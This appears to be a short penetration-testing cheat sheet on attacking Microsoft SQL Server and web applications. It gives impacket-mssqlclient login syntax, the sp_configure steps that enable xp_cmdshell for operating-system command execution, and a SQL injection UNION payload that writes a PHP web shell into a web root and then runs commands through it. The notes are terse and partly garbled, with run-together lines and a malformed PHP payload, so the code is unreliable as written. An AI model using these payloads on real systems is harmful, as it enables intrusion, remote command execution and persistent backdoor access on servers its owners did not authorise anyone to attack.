MSSQL
impacket-mssqlclient
impacket-mssql user:pass@ipaddr -windows-authEXECUTE sp_configure 'show advance options', 1;
##need to make the change permenante
RECONFIGURE;
##execute cmd shell
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
##to run commands use
EXECUTE xp_cmdshell 'whoami';#to write files on the webserver (start will one Null then incease the amounts
' UNION SELECT "<?php system($_GET['cmd']};?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
##If this adds the file, navigate to the path and add the cmd paramater
<ip>/tmp/webshell.php?cmd=whoami
Last updated